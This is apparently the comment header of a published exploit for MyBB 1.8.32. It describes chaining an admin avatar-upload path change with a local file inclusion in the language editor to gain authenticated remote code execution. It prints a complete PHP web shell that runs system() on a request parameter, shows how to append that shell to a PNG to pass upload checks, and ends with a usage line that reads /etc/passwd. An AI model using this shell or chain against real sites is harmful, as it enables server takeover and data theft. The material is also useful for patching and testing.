# Exploit Title: MyBB 1.8.32 - Chained LFI Remote Code Execution (RCE) (Authenticated)
# Date: 2023-01-19
# Exploit Author: lUc1f3r11 (https://github.com/FDlucifer)
# Vendor Homepage: https://mybb.com/
# Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1832
# Version: MyBB 1.8.32
# Tested on: Linux
# CVE : N/A
# Detailed Analysis : https://fdlucifer.github.io/2023/01/17/mybb1-8-32-LFI-RCE/

# (1). An RCE can be obtained on MyBB's Admin CP in Configuration -> Profile Options -> Avatar Upload Path. to change Avatar Upload Path to /inc to bypass blacklist upload dir.
# (2). after doing that, then we are able to chain in "admin avatar upload" page: http://www.mybb1832.cn/admin/index.php?module=user-users&action=edit&uid=1#tab_avatar, and LFI in "Edit Language Variables" page: http://www.mybb1832.cn/admin/index.php?module=config-languages&action=edit&lang=english.
# (3). This chained bugs can lead to Authenticated RCE.
# (note). The user must have rights to add or update settings and update Avatar. This is tested on MyBB 1.8.32.
#
#
# Exp Usage:
# 1.first choose a png file that size less than 1kb
# 2.then merge the png file with a php simple backdoor file using the following commands
# mac@xxx-2 php-backdoor % cat simple-backdoor.php 
# <?php
# if(isset($_REQUEST['cmd'])){
#         echo "<getshell success>";
#         $cmd = ($_REQUEST['cmd']);
#         system($cmd);
#         echo "<getshell success>";
#         phpinfo();
# }
# ?>
# mac@xxx-2 php-backdoor % ls     
# simple-backdoor.php     test.png
# mac@xxx-2 php-backdoor % cat simple-backdoor.php >> test.png 
# mac@xxx-2 php-backdoor % file test.png 
# test.png: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
# 3.finnally run the following commands to run the exp script to get RCE output! enjoy the shell...
# python3 exp.py --host http://www.xxx.cn --username admin --password xxx --email xxx@qq.com --file avatar_1.png --cmd "cat /etc/passwd"
